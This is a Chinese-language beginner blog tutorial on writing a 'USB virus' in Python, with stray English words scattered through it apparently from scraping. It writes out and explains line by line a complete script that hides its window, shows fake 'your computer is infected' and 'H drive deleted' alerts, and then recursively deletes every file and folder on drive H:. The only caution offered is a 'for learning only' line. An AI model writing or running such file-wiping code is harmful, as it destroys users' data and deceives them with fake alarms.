如何用Python写病毒

如何用Python写病毒–USB病毒篇

人生苦短,我用Python!html

hello 你们好!我是Mark,一个姓马名克的中国人。python

最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?”web

“哎呀,没什么,我只是想试一下而已”
“喝,这简单!”windows

没错,这确实很简单。
因此,今天Mark就跟你们分享一下,如何经过Python写一个病毒编辑器

(注意一下,今天分享的这个病毒会删除文件,谨慎使用,这里分享只供学习交流)ide

1、环境搭建svg

本程序用Python编写,不会Python的小伙伴能够参照这篇博客
传送门!学习

我本身的环境是windows10,64位pycharmPython3.7ui

2、撸代码!spa

接下来,就能够开始写代码了!(本文不须要任何Python基础)

首先,上代码:

import os
import tkinter.messagebox
import shutil

这里很好理解,导入一些模块。

那么,会有零基础的朋友问了,什么是模块?

模块,就至关于文具盒

为何这么比喻呢?

很简单,写一个代码,写一个程序,是否是就像完成一项做业?那么,完成做业须要什么呢?

没错,须要本子和笔。
那么如今,咱们有了编辑器,是否是就有了本子,那笔去哪里了呢?

对了,笔在笔盒里面,而模块就是这个文具盒,模块当中所拥有的方法和属性,就至关于文具盒当中的橡皮呀,尺子呀,铅笔呀,钢笔……

因此,咱们若是要用里面的笔,就必需要拿出这个文具盒,明白了?

接下来,继续上代码!

root = tkinter.Tk()
root.withdraw()

这个的做用是消除 tkinter 模块在运行时出现的主窗口。

其中

root = tkinter.Tk()

是定义变量名,
定义变量名更好理解了,大体能够理解为

给一个东西起一个新名字,更加简短,明了

下一行

root.withdraw()

是使用 tkinter 模块当中的一个方法,使其消除主窗口,也就是

从文具盒当中拿出一支笔,去使用它

接下来,下一段代码:

tkinter.messagebox.showerror('错误', '电脑被病毒感染!')
tkinter.messagebox.showwarning('警告', 'H盘文件已被删除!')

这个代码也是调用 tkinter 模块当中的功能,运行起来是这样的:
运行
而后,看下一段代码

filepath = os.listdir('H:\\')

这一行代码调用 os 模块,读取H盘下全部文件

res = len(filepath)

这一行,获取H盘下文件的数量

while res != 0:
    res -= 1
    sen = 'H:/' + str(filepath[res])
    shutil.rmtree(sen)

这是一个 while 语句,也就是循环语句,意思是当 res 这个变量不等于零的时候,执行下面的代码,一遍又一遍,直到 res 等于 0。

在这个循环语句当中,sen 变量储存了H盘下面全部文件的绝对路径。

最后一行,经过 shutil 模块中的 rmtree方法,删除 sen 目录下的全部文件

好了,最后贴一张总体图

总体感知
而后是运行效果图

5.1.病毒运行演示